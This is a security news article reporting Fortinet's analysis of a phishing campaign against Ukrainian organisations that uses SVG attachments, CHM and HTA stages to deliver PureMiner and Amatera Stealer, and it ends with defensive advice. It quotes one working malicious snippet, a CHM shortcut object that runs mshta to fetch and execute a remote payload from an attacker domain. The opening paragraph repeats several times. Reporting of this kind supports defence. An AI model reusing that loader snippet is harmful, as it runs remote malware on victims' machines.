Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information
In recent weeks, a phishing campaign has surfaced, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files. These files are designed to deliver the PureMiner cryptominer and a data-stealing payload known as Amatera Stealer.
In recent weeks, a phishing campaign has surfaced, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files. These files are designed to deliver the PureMiner cryptominer and a data-stealing payload known as Amatera Stealer.
The attackers impersonate Ukrainian police, sending emails claiming recipients have pending appeals. When recipients open the attached SVG file, it initiates a fileless attack chain compromising system confidentiality and hijacking computing resources.
This method highlights attackers' creativity in circumventing email filters and endpoint protections. The SVG attachment contains an embedded HTML iframe element that loads a second SVG from an attacker-controlled domain. This second SVG simulates an Adobe Reader interface with a “Please wait, your document is loading…” message in Ukrainian while downloading a password-protected archive.
Victims receive the archive password and are prompted to extract a Compiled HTML Help (CHM) file. According to Fortinet analysts, the malware relies on this deceptive interaction to avoid detection and trick victims into executing malicious content.
Within the archive, a CHM file contains an HTML shortcut object that invokes an HTML Application (HTA) in hidden mode. The HTA script, obfuscated through string encoding and array shuffling, acts as a loader. It establishes a persistent connection to the attacker's server, exfiltrates system information via XorBase64-encoded HTTP POST requests, and awaits further commands.
In recent weeks, a phishing campaign has surfaced, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files.
Infection Mechanism of PureMiner via an SVG-Based Fileless Chain
A snippet from the malicious HTM extracted from the CHM illustrates how the Click method spawns mshta.exe to fetch and execute the next-stage payload:
[OBJECT id="shortcut" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width="1" height="1"] [PARAM name="Command" value="ShortCut"] [PARAM name="Item1" value=",cmd,/c mshta https://ms-team-ping2.com/smtp_test.hta"] [/OBJECT] [SCRIPT]shortcut.Click();[/SCRIPT]
The infection mechanism continues with two distinct fileless payload deliveries. In the first, a ZIP archive named ergosystem.zip contains a legitimate .NET tool that sideloads a malicious DLL using process hollowing. The injected payload, identified as PureMiner, decrypts its configuration from a Protobuf-serialized blob, gathers hardware details using AMD and NVIDIA libraries, and initiates CPU- or GPU-based mining modules.
In the second archive, smtpB.zip, a Python interpreter and the PythonMemoryModule are used to load Amatera Stealer directly into memory. This stealer requests an RC4-encrypted configuration via HTTP GET, decodes it in memory, and parses directives to harvest credentials, browser artifacts, and cryptocurrency wallet files.
From initial SVG deployment to dual payload execution, this campaign exemplifies a seamless progression of fileless tactics and legitimate application misuse. By using SVG files as HTML wrappers and chaining through CHM and HTA stages, attackers evade signature-based defenses and exploit users’ trust in common document formats.
Security teams should inspect SVG attachments for embedded iframes and monitor mshta.exe invocations, while ensuring that CHM and HTA executions are restricted. Proper URL filtering and archive password prompts coupled with endpoint behavioral analytics can disrupt this infection mechanism before it compromises data or hijacks system resources.
Based on reporting by Cyber Security News.